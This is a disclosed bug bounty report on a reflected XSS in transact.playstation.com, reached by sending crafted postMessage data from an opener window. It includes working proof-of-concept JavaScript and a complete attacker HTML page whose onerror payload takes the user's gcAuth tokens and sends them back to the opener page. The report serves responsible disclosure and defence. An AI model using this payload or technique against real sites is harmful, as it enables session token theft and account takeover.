PlayStation · Report #900619
Reflected XSS on transact.playstation.com using postMessage from the opening window
Summary
Report Summary:
When transact.playstation.com loads it handles messages received from postMessage in the _receiveMessageFromTransactClientService method. The only validation that is performed is to ensure that the referrer and origin match:
_receiveMessageFromTransactClientService: function (e) {
var n = void 0,
r = this.get("replaceRoute"),
i = this.get("referrer");
if (!i || e.origin === (0, t.default)(i)) {
try {
n = JSON.parse(e.data);
} catch (u) {}
These checks can be passed by using win = window.open("https://transact.playstation.com/") to launch a new window, then send messages with win.postMessage. This allows a few functions to be called, including replaceRoute which allows the current ember route and model to be set:
win = window.open("https://transact.playstation.com/");
win.postMessage(JSON.stringify({
action: "replaceRoute",
route: "application_error",
model: { error: 500, title: "injected", message: "from vakzz" }
}), "*");
After looking at a few of the routes, voucher.multi-product-details has a sku.longDescription on the model that is rendered as html and can be used to create an xss if the user is logged in:
win.postMessage(JSON.stringify({
action: "replaceRoute",
route: "voucher.multi-product-details",
model: {
eligible: true,
sku: {
id: 0, longDescription: `
<img src=x onerror='alert(document.domain)'>`
}
}
}), "*");
Using the XSS, the current tokens from gcAuth can be retrieved and posted back to the opening window using:
valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*"));
Steps To Reproduce:
- Log into https://id.sonyentertainmentnetwork.com/id/management
- Visit https://aw.rs/ps4/xss1.html
- Click the button and wait 5 seconds
- The XSS will fire and post a message back to the opening window:
Supporting Material/References:
Source of https://aw.rs/ps4/xss1.html
<!DOCTYPE html>
<html>
<body>
<button onclick="start()">click me</button>
<script>
window.addEventListener("message", (msg) => {
console.log("got message", msg);
alert(msg.data);
});
async function start() {
win = window.open("https://transact.playstation.com/", "transact");
await new Promise((resolve) => setTimeout(resolve, 5000));
win.postMessage(JSON.stringify({
action: "replaceRoute",
route: "voucher.multi-product-details",
model: {
eligible: true,
sku: {
id: 0, longDescription: `
<img src=x onerror='
valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*"));
'>`
}
}
}), "*");
}
</script>
</body>
</html>
Impact
Allows an attacker to execute arbitrary javascript on transact.playstation.com if a user visits or clicks on a malicious link, allowing cookies, tokens, and localStorage to be stolen.
How it was found
The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.